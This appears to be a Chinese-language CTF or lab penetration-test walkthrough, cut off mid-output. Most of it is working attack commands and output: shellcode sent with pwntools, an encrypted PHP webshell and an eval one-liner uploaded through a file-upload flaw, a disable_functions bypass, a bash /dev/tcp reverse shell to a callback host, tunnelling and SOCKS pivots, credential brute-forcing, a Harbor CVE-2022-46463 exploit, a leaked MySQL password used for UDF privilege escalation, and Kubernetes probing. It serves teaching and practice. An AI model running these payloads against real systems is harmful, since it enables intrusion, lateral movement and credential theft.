[DEBUG] Sent 0x2 bytes:
b'4\n'
[DEBUG] Received 0xe bytes:
b'New username: '
[DEBUG] Sent 0x80 bytes:
00000000 90 c9 5d 00 00 00 00 00 ef be ad de 00 00 00 00 │··]·│····│····│····│
00000010 a0 c9 5d 00 00 00 00 00 04 00 00 00 00 00 00 00 │··]·│····│····│····│
00000020 61 61 68 4f 00 00 00 00 00 00 00 00 00 00 00 00 │aahO│····│····│····│
00000030 a8 ee ac 8f fe 7f 00 00 60 00 00 00 00 00 00 00 │····│····│`···│····│
00000040 61 61 61 61 61 61 61 61 6a 3b 58 99 48 bb 2f 2f │aaaa│aaaa│j;X·│H·//│
00000050 62 69 6e 2f 73 68 53 48 89 e7 52 57 48 89 e6 0f │bin/│shSH│··RW│H···│
00000060 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000080
[DEBUG] Received 0xe bytes:
b'Done!\n'
b'Option: '
[DEBUG] Sent 0x2 bytes:
b'3\n'
[DEBUG] Received 0x5 bytes:
b'Key: '
[DEBUG] Sent 0x5 bytes:
b'aahO\n'
[DEBUG] Received 0x6 bytes:
b'Data: '
[DEBUG] Sent 0x61 bytes:
00000000 7c 5e 40 00 00 00 00 00 00 c0 5d 00 00 00 00 00 │|^@·│····│··]·│····│
00000010 4f 97 40 00 00 00 00 00 00 10 00 00 00 00 00 00 │O·@·│····│····│····│
00000020 4b 51 53 00 00 00 00 00 07 00 00 00 00 00 00 00 │KQS·│····│····│····│
00000030 00 00 00 00 00 00 00 00 ba 06 42 00 00 00 00 00 │····│····│··B·│····│
00000040 28 00 00 00 00 00 00 00 2e 3f 52 00 00 00 00 00 │(···│····│.?R·│····│
00000050 76 97 4d 00 00 00 00 00 c8 c9 5d 00 00 00 00 00 │v·M·│····│··]·│····│
00000060 0a │·│
00000061
/home/kali/1.py:71: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline('uname -ar')
[DEBUG] Sent 0xa bytes:
b'uname -ar\n'
[*] Switching to interactive mode
[DEBUG] Received 0x6 bytes:
b'Done!\n'
Done!
[DEBUG] Received 0x6f bytes:
b'Linux ubuntu-erp 5.4.0-169-generic #187-Ubuntu SMP Thu Nov 23 14:52:28 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux\n'
Linux ubuntu-erp 5.4.0-169-generic #187-Ubuntu SMP Thu Nov 23 14:52:28 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
$ ls /root
[DEBUG] Sent 0x9 bytes:
b'ls /root\n'
[DEBUG] Received 0xb bytes:
b'flag_RaYz1\n'
flag_RaYz1
$ ls /root/flag_RaYz1
[DEBUG] Sent 0x14 bytes:
b'ls /root/flag_RaYz1\n'
[DEBUG] Received 0xb bytes:
b'f1ag03.txt\n'
f1ag03.txt
$ cat /root/flag_RaYz1/f1ag03.txt
[DEBUG] Sent 0x20 bytes:
b'cat /root/flag_RaYz1/f1ag03.txt\n'
[DEBUG] Received 0x33 bytes:
b'flag03: flag{6a326f94-6526-4586-8233-152d137281fd}\n'
flag03: flag{6a326f94-6526-4586-8233-152d137281fd}
打第二个fscan扫ftp有匿名登录并且有个压缩包文件
www-data@portal:/var/www/html/background/public$ ftp 172.28.23.26
Connected to 172.28.23.26.
220 (vsFTPd 3.0.3)
Name (172.28.23.26:www-data): ftp
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 7536672 Mar 23 23:56 OASystem.zip
226 Directory send OK.
ftp> get OASystem.zip
local: OASystem.zip remote: OASystem.zip
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for OASystem.zip (7536672 bytes).
226 Transfer complete.
7536672 bytes received in 0.04 secs (189.7898 MB/s)
ftp> quit
221 Goodbye.
然后把源代码下载回来
http://8.130.35.1:8080/OASystem.zip
代码审计发现uploadbase64.php存在文件上传漏洞
<?php
$img = $_POST['imgbase64'];
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $img, $result)) {
$type = ".".$result[2];
$path = "upload/" . date("Y-m-d") . "-" . uniqid() . $type;
}
$img = base64_decode(str_replace($result[1], '', $img));
@file_put_contents($path, $img);
exit('{"src":"'.$path.'"}');
┌──(kali㉿kali)-[~]
└─$ vim 1.php
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
┌──(kali㉿kali)-[~]
└─$ base64 1.php
PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZTQ1
ZTMyOWZlYjVkOTI1YiI7IC8v6K+l5a+G6ZKl5Li66L+e5o6l5a+G56CBMzLkvY1tZDXlgLznmoTl
iY0xNuS9je+8jOm7mOiupOi/nuaOpeWvhueggXJlYmV5b25kCgkkX1NFU1NJT05bJ2snXT0ka2V5
OwoJc2Vzc2lvbl93cml0ZV9jbG9zZSgpOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDov
L2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNl
NjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3Ry
bGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkr
MSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9z
dCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAk
ZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rp
b24gX19pbnZva2UoJHApIHtldmFsKCRwLiIiKTt9fQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBD
KCksJHBhcmFtcyk7Cj8+Cgo=
然后上传个
┌──(kali㉿kali)-[~]
└─$ proxychains curl http://172.28.23.26/uploadbase64.php -d 'imgbase64=data:image/php;base64,PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IC8v6K+l5a+G6ZKl5Li66L+e5o6l5a+G56CBMzLkvY1tZDXlgLznmoTliY0xNuS9je+8jOm7mOiupOi/nuaOpeWvhueggXJlYmV5b25kCgkkX1NFU1NJT05bJ2snXT0ka2V5OwoJc2Vzc2lvbl93cml0ZV9jbG9zZSgpOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19pbnZva2UoJHApIHtldmFsKCRwLiIiKTt9fQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7Cj8+Cgo='
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
{"src":"upload/2024-09-07-66dc1636a9114.php"}
传上去不行,传个一句话试试
┌──(kali㉿kali)-[~]
└─$ echo '<?php eval($_REQUEST[shell]);' |base64
PD9waHAgZXZhbCgkX1JFUVVFU1Rbc2hlbGxdKTsK
上传
┌──(kali㉿kali)-[~]
└─$ proxychains curl http://172.28.23.26/uploadbase64.php -d 'imgbase64=data:image/php;base64,PD9waHAgZXZhbCgkX1JFUVVFU1Rbc2hlbGxdKTsK'
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
{"src":"upload/2024-09-07-66dc18f10d2f9.php"}
蚁剑可以连接,估计长度有限制,但是有disabled_functions用插件绕过,选择模式是LD_PRELOAD,post马有问题,用蚁剑创建个1.php
内容
<?php
eval($_GET["pass"]);
然后改下.antproxy.php的url变量改成如下
$url = "/upload/1.php";
访问.antproxy.php(相当于访问没有disabled_functions的1.php文件)
┌──(kali㉿kali)-[~]
└─$ proxychains curl "http://172.28.23.26/upload/.antproxy.php?pass=system(id);"
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌──(kali㉿kali)-[~]
└─$ proxychains curl "http://172.28.23.26/upload/.antproxy.php?pass=system('ls%20-al%20/');"
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
total 96
drwxr-xr-x 22 root root 4096 Sep 7 15:19 .
drwxr-xr-x 22 root root 4096 Sep 7 15:19 ..
drwxr-xr-x 2 root root 4096 Oct 25 2021 bin
drwxr-xr-x 3 root root 4096 Oct 25 2021 boot
drwxr-xr-x 18 root root 3740 Sep 7 15:21 dev
drwxr-xr-x 95 root root 4096 Sep 7 15:20 etc
-r-------- 1 root root 51 Mar 14 17:19 flag02.txt
drwxr-xr-x 3 root root 4096 Mar 14 17:39 home
lrwxrwxrwx 1 root root 33 Oct 25 2021 initrd.img -> boot/initrd.img-4.4.0-210-generic
lrwxrwxrwx 1 root root 33 Oct 25 2021 initrd.img.old -> boot/initrd.img-4.4.0-142-generic
drwxr-xr-x 20 root root 4096 Oct 25 2021 lib
drwxr-xr-x 2 root root 4096 Oct 25 2021 lib64
drwx------ 2 root root 16384 Oct 25 2021 lost+found
drwxr-xr-x 4 root root 4096 Oct 25 2021 media
drwxr-xr-x 2 root root 4096 Feb 27 2019 mnt
drwxr-xr-x 2 root root 4096 Feb 27 2019 opt
dr-xr-xr-x 133 root root 0 Sep 7 15:19 proc
drwx------ 6 root root 4096 Mar 14 17:46 root
drwxr-xr-x 23 root root 760 Sep 7 15:20 run
drwxr-xr-x 2 root root 12288 Oct 25 2021 sbin
drwxr-xr-x 3 root root 4096 Mar 14 17:38 srv
dr-xr-xr-x 13 root root 0 Sep 7 2024 sys
drwxrwxrwt 7 root root 4096 Sep 7 17:25 tmp
drwxr-xr-x 10 root root 4096 Oct 25 2021 usr
drwxr-xr-x 12 root root 4096 Mar 14 12:54 var
lrwxrwxrwx 1 root root 30 Oct 25 2021 vmlinuz -> boot/vmlinuz-4.4.0-210-generic
lrwxrwxrwx 1 root root 30 Oct 25 2021 vmlinuz.old -> boot/vmlinuz-4.4.0-142-generic
要提权,考虑内核提,搜索了一圈好像没办法提权,先弹shell
┌──(kali㉿kali)-[~]
└─$ proxychains curl "http://172.28.23.26/upload/.antproxy.php?pass=system('uname%20-a');"
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
Linux ubuntu-oa 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
由于服务器不出网,为了方便命令执行,在外网入口机里起一个tcptunnel,把10005端口流量转发到远程vps
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/vakuum/tcptunnel.git
Cloning into 'tcptunnel'...
remote: Enumerating objects: 242, done.
remote: Counting objects: 100% (16/16), done.
remote: Compressing objects: 100% (10/10), done.
remote: Total 242 (delta 4), reused 12 (delta 4), pack-reused 226 (from 1)
Receiving objects: 100% (242/242), 47.41 KiB | 220.00 KiB/s, done.
Resolving deltas: 100% (123/123), done.
┌──(kali㉿kali)-[~]
└─$ cd tcptunnel
┌──(kali㉿kali)-[~/tcptunnel]
└─$ ./configure
checking host system type... Linux
configure: configure complete, now type 'make' and 'make install'.
┌──(kali㉿kali)-[~/tcptunnel]
└─$ make
make -C src
make[1]: Entering directory '/home/kali/tcptunnel/src'
gcc -Wall -I./ -c -o tcptunnel.o tcptunnel.c
gcc
gcc -o tcptunnel tcptunnel.o
cp tcptunnel ..
make[1]: Leaving directory '/home/kali/tcptunnel/src'
www-data@portal:/var/www/html/background/public$ curl https://codeload.github.com/vakuum/tcptunnel/zip/refs/heads/master -o tcptunnel-master.zip
www-data@portal:/var/www/html/background/public$ unzip tcptunnel-master.zip
Archive: tcptunnel-master.zip
1e8ee4c674bd25fc5f699a840624b042cc74bcd1
creating: tcptunnel-master/
inflating: tcptunnel-master/COPYING
inflating: tcptunnel-master/ChangeLog
inflating: tcptunnel-master/Makefile
inflating: tcptunnel-master/Makefile.MinGW32
inflating: tcptunnel-master/README.md
inflating: tcptunnel-master/configure
creating: tcptunnel-master/src/
inflating: tcptunnel-master/src/Makefile.in
inflating: tcptunnel-master/src/tcptunnel.c
inflating: tcptunnel-master/src/tcptunnel.h
www-data@portal:/var/www/html/background/public$ cd tcptunnel-master
www-data@portal:/var/www/html/background/public/tcptunnel-master$ ./configure
checking host system type... Linux
configure: configure complete, now type 'make' and 'make install'.
www-data@portal:/var/www/html/background/public/tcptunnel-master$ make
make -C src
make[1]: Entering directory '/var/www/html/background/public/tcptunnel-master/src'
gcc -Wall -I./ -c -o tcptunnel.o tcptunnel.c
gcc
gcc -o tcptunnel tcptunnel.o
cp tcptunnel ..
make[1]: Leaving directory '/var/www/html/background/public/tcptunnel-master/src'
www-data@portal:/var/www/html/background/public/tcptunnel-master$ chmod +x tcptunnel
服务器监听
root@iZt4n7mdgl9ti7mswdnrx0Z:~/pentest_tools/tcptunnel# nc -lvnp 10005
靶机运行
www-data@portal:/var/www/html/background/public/tcptunnel-master$ nohup ./tcptunnel --local-port=10005 --remote-port=10005 --remote-host=47.236.24.118 --buffer-size=8192 --stay-alive &
kali运行
┌──(kali㉿kali)-[~]
└─$ proxychains curl "http://172.28.23.26/upload/.antproxy.php?pass=system(%22bash%20-c%20%5C%22%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.28.23.17%2F10005%200%3E%261%5C%22%22);"
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
服务器那边就会收到shell了,然后把fscan下载过来
www-data@ubuntu-oa:/var/www/html/OAsystem/upload$ curl http://172.28.23.17:8080/fscan -o fscan
</html/OAsystem/upload$ curl http://172.28.23.17:8080/fscan -o fscan
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 6119k 100 6119k 0 0 677M 0 --:--:-- --:--:-- --:--:-- 747M
www-data@ubuntu-oa:/var/www/html/OAsystem/upload$ file fscan
file fscan
fscan: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, corrupted section header size
www-data@ubuntu-oa:/var/www/html/OAsystem/upload$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:16:3e:01:46:d8 brd ff:ff:ff:ff:ff:ff
inet 172.28.23.26/16 brd 172.28.255.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::216:3eff:fe01:46d8/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:16:3e:06:df:1e brd ff:ff:ff:ff:ff:ff
inet 172.22.14.6/16 brd 172.22.255.255 scope global eth1
valid_lft forever preferred_lft forever
inet6 fe80::216:3eff:fe06:df1e/64 scope link
valid_lft forever preferred_lft forever
www-data@ubuntu-oa:/var/www/html/OAsystem/upload$ chmod +x fscan
chmod +x fscan
www-data@ubuntu-oa:/var/www/html/OAsystem/upload$ nohup fscan -h 172.22.14.6/16 &
扫描的时间找找提权
www-data@ubuntu-oa:/var/www/html/OAsystem/upload$ find / -type f -perm -4000 2>/dev/null
/bin/fusermount
/bin/ping6
/bin/mount
/bin/su
/bin/ping
/bin/umount
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/staprun
/usr/bin/base32
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/s-nail/s-nail-privsep
base32可以直接看文件
www-data@ubuntu-oa:/var/www/html/OAsystem/upload$ base32 /flag02.txt |base32 -d
flag02: flag{56d37734-5f73-447f-b1a5-a83f45549b28}
www-data@ubuntu-oa:/var/www/html/OAsystem/upload$ cat nohup.out
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.3
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.10.16 is alive
(icmp) Target 172.22.10.28 is alive
(icmp) Target 172.22.14.6 is alive
(icmp) Target 172.22.14.37 is alive
(icmp) Target 172.22.14.46 is alive
(icmp) Target 172.22.255.253 is alive
[*] LiveTop 172.22.0.0/16 段存活数量为: 6
[*] LiveTop 172.22.14.0/24 段存活数量为: 3
[*] LiveTop 172.22.10.0/24 段存活数量为: 2
[*] Icmp alive hosts len is: 6
[*] LiveTop 172.22.255.0/24 段存活数量为: 1
172.22.10.16:8080 open
172.22.10.28:3306 open
172.22.14.46:80 open
172.22.10.28:80 open
172.22.14.46:22 open
172.22.14.6:80 open
172.22.14.37:22 open
172.22.10.16:22 open
172.22.10.28:22 open
172.22.14.6:22 open
172.22.14.6:21 open
172.22.14.37:2379 open
172.22.14.37:10250 open
[*] alive ports len is: 13
start vulscan
[*] WebTitle http://172.22.14.6 code:200 len:13693 title:新翔OA管理系统-OA管理平台联系电话:13849422648微信同号,QQ958756413
[*] WebTitle http://172.22.10.28 code:200 len:1975 title:DooTask
[*] WebTitle http://172.22.10.16:8080 code:302 len:0 title:None 跳转url: http://172.22.10.16:8080/login;jsessionid=D36D59B0A7EED55B74A819F6C5F86CAA
[*] WebTitle http://172.22.14.46 code:200 len:785 title:Harbor
[+] InfoScan http://172.22.14.46 [Harbor]
[*] WebTitle http://172.22.10.16:8080/login;jsessionid=D36D59B0A7EED55B74A819F6C5F86CAA code:200 len:3860 title:智联科技 ERP 后台登陆
[*] WebTitle https://172.22.14.37:10250 code:404 len:19 title:None
[+] ftp 172.22.14.6:21:anonymous
[->]OASystem.zip
[+] PocScan http://172.22.14.46/swagger.json poc-yaml-swagger-ui-unauth [{path swagger.json}]
[+] PocScan http://172.22.10.16:8080 poc-yaml-spring-actuator-heapdump-file
[+] PocScan http://172.22.10.16:8080 poc-yaml-springboot-env-unauth spring2
已完成 8/13 [-] ssh 172.22.10.28:22 root root123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 8/13 [-] ssh 172.22.14.46:22 root !QAZ2wsx ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 8/13 [-] ssh 172.22.10.16:22 root 1qaz!QAZ ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 8/13 [-] ssh 172.22.14.6:22 admin Aa123123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 10/13 [-] ssh 172.22.10.16:22 admin 123321 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 10/13 [-] ssh 172.22.10.28:22 admin Aa1234. ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 13/13
[*] 扫描结束,耗时: 29m4.156173699s
搭建第二个代理,
www-data@ubuntu-oa:/var/www/html/OAsystem/upload$ curl http://172.28.23.17:8080/frpc -o frpc
www-data@ubuntu-oa:/var/www/html/OAsystem/upload$ curl http://172.28.23.17:8080/frpc.toml -o frpc.toml
www-data@ubuntu-oa:/var/www/html/OAsystem/upload$ sed -i 's/remote_port = 15000/remote_port = 15001/' /var/www/html/OAsystem/upload/frpc.toml
www-data@ubuntu-oa:/var/www/html/OAsystem/upload$ sed -i 's/server_addr = 127.0.0.1/server_addr = 172.28.23.17/' /var/www/html/OAsystem/upload/frpc.toml
www-data@ubuntu-oa:/var/www/html/OAsystem/upload$ sed -i 's/\[socks5\]/\[socks5_1\]/' /var/www/html/OAsystem/upload/frpc.toml
www-data@ubuntu-oa:/var/www/html/OAsystem/upload$ ./frpc -c frpc.toml
内网存在Harbor,搜索了下发现是CVE-2022-46463[https://github.com/404tk/CVE-2022-46463]
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/404tk/CVE-2022-46463.git
Cloning into 'CVE-2022-46463'...
remote: Enumerating objects: 27, done.
remote: Counting objects: 100% (27/27), done.
remote: Compressing objects: 100% (18/18), done.
remote: Total 27 (delta 8), reused 23 (delta 7), pack-reused 0 (from 0)
Receiving objects: 100% (27/27), 11.37 KiB | 3.79 MiB/s, done.
Resolving deltas: 100% (8/8), done.
┌──(kali㉿kali)-[~]
└─$ cd CVE-2022-46463
┌──(kali㉿kali)-[~/CVE-2022-46463]
└─$ proxychains python3 harbor.py http://172.22.14.46/
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[*] API version used v2.0
[+] project/projectadmin
[+] project/portal
[+] library/nginx
[+] library/redis
[+] harbor/secret
┌──(kali㉿kali)-[~/CVE-2022-46463]
└─$ ls ./caches/project_projectadmin/latest/*
./caches/project_projectadmin/latest/63e9bbe323274e77e58d77c6ab6802d247458f784222fbb07a2556d6ec74ee05:
bin boot dev etc home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var
./caches/project_projectadmin/latest/70437571d98143a3479eaf3cc5af696ea79710e815d16e561852cf7d429736bd:
run.sh
./caches/project_projectadmin/latest/90d3d033513d61a56d1603c00d2c9d72a9fa8cfee799f3b1737376094b2f3d4c:
app etc run.sh tmp usr var
./caches/project_projectadmin/latest/a1ae0db7d6c6f577c8208ce5b780ad362ef36e69d068616ce9188ac1cc2f80c6:
app
./caches/project_projectadmin/latest/ae0fa683fb6d89fd06e238876769e2c7897d86d7546a4877a2a4d2929ed56f2c:
app
翻文件
┌──(kali㉿kali)-[~/CVE-2022-46463]
└─$ cat ./caches/project_projectadmin/latest/70437571d98143a3479eaf3cc5af696ea79710e815d16e561852cf7d429736bd/run.sh
#!/bin/bash
sleep 1
# start
java -jar /app/ProjectAdmin-0.0.1-SNAPSHOT.jar
/usr/bin/tail -f /dev/null
找下这个文件
┌──(kali㉿kali)-[~/CVE-2022-46463]
└─$ ls -al ./caches/project_projectadmin/latest/*/app
./caches/project_projectadmin/latest/90d3d033513d61a56d1603c00d2c9d72a9fa8cfee799f3b1737376094b2f3d4c/app:
total 28888
drwxrwxrwx 2 root root 4096 Mar 25 01:42 .
drwxr-xr-x 7 root root 4096 Sep 7 09:46 ..
-rwxrwxrwx 1 root root 29573051 Mar 25 01:41 ProjectAdmin-0.0.1-SNAPSHOT.jar
./caches/project_projectadmin/latest/a1ae0db7d6c6f577c8208ce5b780ad362ef36e69d068616ce9188ac1cc2f80c6/app:
total 8
drwxr-xr-x 2 root root 4096 Mar 25 01:42 .
drwxr-xr-x 3 root root 4096 Sep 7 09:41 ..
-rwxr-xr-x 1 root root 0 Dec 31 1969 .wh..wh..opq
./caches/project_projectadmin/latest/ae0fa683fb6d89fd06e238876769e2c7897d86d7546a4877a2a4d2929ed56f2c/app:
total 28888
drwxr-xr-x 2 root root 4096 Mar 25 01:42 .
drwxr-xr-x 3 root root 4096 Sep 7 09:42 ..
-rw-r--r-- 1 root root 29573051 Mar 25 01:41 ProjectAdmin-0.0.1-SNAPSHOT.jar
然后用jadx反编译下,在资源文件的BOOT-INF->classes->BOOT-INF/classes/application.properties找到了mysql密码
spring.datasource.url=jdbc:mysql://172.22.10.28:3306/projectadmin?characterEncoding=utf-8&useUnicode=true&serverTimezone=UTC
spring.datasource.username=root
spring.datasource.password=My3q1i4oZkJm3
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
mybatis.type-aliases-package=com.smartlink.projectadmin.entity
mybatis.mapper-locations=classpath:mybatis/mapper/*.xml
MDUT连上去,UDF提权,MDUT这个有点神奇虚拟机用Proxyfier全局不行,kali用proxychains也不行,要不是fscan扫到了这个端口然后用mysql连上了就怀疑假的了,但是我用我本机挂Proxyfier又可以.
然后直接命令执行看flag
下secret镜像
┌──(kali㉿kali)-[~/CVE-2022-46463]
└─$ sudo proxychains python3 harbor.py http://172.22.14.46/ --dump harbor/secret --v2
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[+] Dumping : harbor/secret:latest
[+] Downloading : 58690f9b18fca6469a14da4e212c96849469f9b1be6661d2342a4bf01774aa50
[+] Downloading : b51569e7c50720acf6860327847fe342a1afbe148d24c529fb81df105e3eed01
[+] Downloading : da8ef40b9ecabc2679fe2419957220c0272a965c5cf7e0269fa1aeeb8c56f2e1
[+] Downloading : fb15d46c38dcd1ea0b1990006c3366ecd10c79d374f341687eb2cb23a2c8672e
[+] Downloading : 413e572f115e1674c52e629b3c53a42bf819f98c1dbffadc30bda0a8f39b0e49
[+] Downloading : 8bd8c9755cbf83773a6a54eff25db438debc22d593699038341b939e73974653
遍历了下发现有flag5
┌──(kali㉿kali)-[~/CVE-2022-46463]
└─$ tree ./caches/harbor_secret/
./caches/harbor_secret/
└── latest
├── 413e572f115e1674c52e629b3c53a42bf819f98c1dbffadc30bda0a8f39b0e49
│ ├── f1ag05_Yz1o.txt
│ └── run.sh
......
扫了下8.130.35.1全端口
┌──(kali㉿kali)-[~/fscan]
└─$ ./fscan -h 172.22.14.37 -p 1-65535 -socks5 8.130.35.1:15001
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.3
Socks5Proxy: socks5://8.130.35.1:15001
start infoscan
172.22.14.37:6443 open
172.22.14.37:10250 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle https://172.22.14.37:6443 code:200 len:4671 title:None
[*] WebTitle https://172.22.14.37:10250 code:404 len:19 title:None
[+] PocScan https://172.22.14.37:6443 poc-yaml-go-pprof-leak
[+] PocScan https://172.22.14.37:6443 poc-yaml-kubernetes-unauth
已完成 2/2
[*] 扫描结束,耗时: 2m8.307513298s
发现有k8s未授权
┌──(kali㉿kali)-[~/GreatWall]
└─$ proxychains curl https://172.22.14.37:6443/ -k
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
{
"paths": [
"/api",
"/api/v1",
"/apis",
"/apis/",
"/apis/admissionregistration.k8s.io",
"/apis/admissionregistration.k8s.io/v1",
"/apis/admissionregistration.k8s.io/v1beta1",
"/apis/apiextensions.k8s.io",
"/apis/apiextensions.k8s.io/v1",
"/apis/apiextensions.k8s.io/v1beta1",
"/apis/apiregistration.k8s.io",
"/apis/apiregistration.k8s.io/v1",
"/apis/apiregistration.k8s.io/v1beta1",
"/apis/apps",
"/apis/apps/v1",
"/apis/authentication.k8s.io",
"/apis/authentication.k8s.io/v1",
"/apis/authentication.k8s.io/v1beta1",
"/apis/authorization.k8s.io",
"/apis/authorization.k8s.io/v1",
"/apis/authorization.k8s.io/v1beta1",
"/apis/autoscaling",
"/apis/autoscaling/v1",
"/apis/autoscaling/v2beta1",
"/apis/autoscaling/v2beta2",
"/apis/batch",
"/apis/batch/v1",
"/apis/batch/v1beta1",
"/apis/certificates.k8s.io",
"/apis/certificates.k8s.io/v1beta1",
"/apis/coordination.k8s.io",
"/apis/coordination.k8s.io/v1",
"/apis/coordination.k8s.io/v1beta1",
"/apis/events.k8s.io",
"/apis/events.k8s.io/v1beta1",
"/apis/extensions",
"/apis/extensions/v1beta1",
"/apis/networking.k8s.io",
